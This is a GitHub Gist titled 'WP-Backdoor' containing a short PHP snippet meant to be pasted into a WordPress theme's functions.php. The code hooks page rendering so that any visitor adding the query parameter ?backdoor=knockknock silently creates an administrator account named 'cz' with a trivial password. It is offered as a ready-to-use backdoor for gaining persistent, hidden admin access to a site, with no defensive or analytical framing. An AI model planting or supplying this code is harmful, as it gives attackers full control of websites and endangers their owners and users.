Last active
August 27, 2018 15:11
-
-
Save czombos/b2737920300cb5862fa64bb448d6cdd5 to your computer and use it in GitHub Desktop.
WP-Backdoor
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// add this code to theme functions.php and open http://www.example.com/?backdoor=knockknock | |
add_action('wp_head', 'wploop_backdoor'); | |
function wploop_backdoor() { | |
If ($_GET['backdoor'] == 'knockknock') { | |
require('wp-includes/registration.php'); | |
If (!username_exists('cz')) { | |
$user_id = wp_create_user('cz', 'cz', '[email protected]'); | |
$user = new WP_User($user_id); | |
$user->set_role('administrator'); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment